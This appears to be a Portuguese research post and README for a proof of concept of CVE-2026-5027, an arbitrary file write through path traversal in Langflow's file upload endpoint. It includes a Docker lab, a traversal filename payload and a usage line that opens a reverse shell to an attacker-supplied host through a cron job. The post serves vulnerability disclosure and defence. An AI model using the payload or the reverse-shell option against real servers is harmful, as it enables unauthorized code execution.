
Proof-of-concept de exploit para CVE-2026-5027, uma path traversal e gravação arbitrária de arquivos no endpoint /api/v2/files do Langflow, com laboratório Docker e opção de reverse shell.
Este post é um artigo de pesquisa publicado pela EQSTLab.
Agradecimentos a Yahia Hamza, que reportou e analisou esta vulnerabilidade.
★ CVE-2026-5027 Langflow Path Traversal / Arbitrary File Write PoC ★

CVE-2026-5027 : Vulnerabilidade de Escrita Arbitrária de Arquivos no Langflow
descrição: Uma vulnerabilidade de path traversal no Langflow <= 1.8.4 permite que atacantes escrevam arquivos arbitrários fora do diretório de upload pretendido por meio de um filename multipart manipulado fornecido ao endpoint /api/v2/files. Em implantações onde o auto-login está habilitado ou a autenticação é de outra forma fracamente aplicada, este problema pode ser explorado para alcançar execução remota de código ao escrever conteúdo controlado pelo atacante em locais sensíveis do sistema de arquivos.
Construa e execute o ambiente vulnerável usando Docker:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
Endpoint Vulnerável
POST /api/v2/files
O problema existe porque a funcionalidade de upload confia no valor filename multipart fornecido pelo cliente. Em vez de gerar um nome de armazenamento seguro no lado do servidor ou restringir o caminho resolvido a um diretório de upload dedicado, o caminho de código vulnerável permite que sequências de travessia como ../ influenciem o caminho de destino final.
Como resultado, um atacante pode escapar da raiz de armazenamento pretendida e forçar a aplicação a escrever arquivos em locais arbitrários no sistema de arquivos do servidor.
Um fluxo de exploração representativo é o seguinte:
/api/v2/files.filename manipulado contendo sequências de path traversal.Este é fundamentalmente um problema CWE-22: Improper Limitation of a Pathname to a Restricted Directory.
A falha de segurança é causada por sanitização e validação insuficientes de caminhos de arquivo controlados pelo usuário durante o tratamento de upload. A aplicação aceita o nome de arquivo original do cliente e o passa para o fluxo de armazenamento sem aplicar adequadamente normalização e contenção de caminho.
Do ponto de vista defensivo, o padrão perigoso é conceitualmente semelhante ao seguinte:
save_path = base_dir / file.filename
Se file.filename contiver componentes de path traversal como:
../../../../tmp/poc.txt
o caminho resolvido final pode apontar para fora de base_dir, possibilitando escrita arbitrária de arquivos.
Vulnerabilidades de escrita arbitrária de arquivos são frequentemente mais graves do que problemas padrão de upload irrestrito porque o atacante controla não apenas o conteúdo do arquivo, mas também o caminho de destino. Dependendo dos privilégios de execução do processo do Langflow, isso pode possibilitar:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
Este repositório não tem a intenção de facilitar a exploração não autorizada de instâncias do Langflow. O objetivo deste projeto é ajudar pesquisadores de segurança, defensores e desenvolvedores a entender a vulnerabilidade, validar a exposição em ambientes controlados e aplicar mitigações eficazes.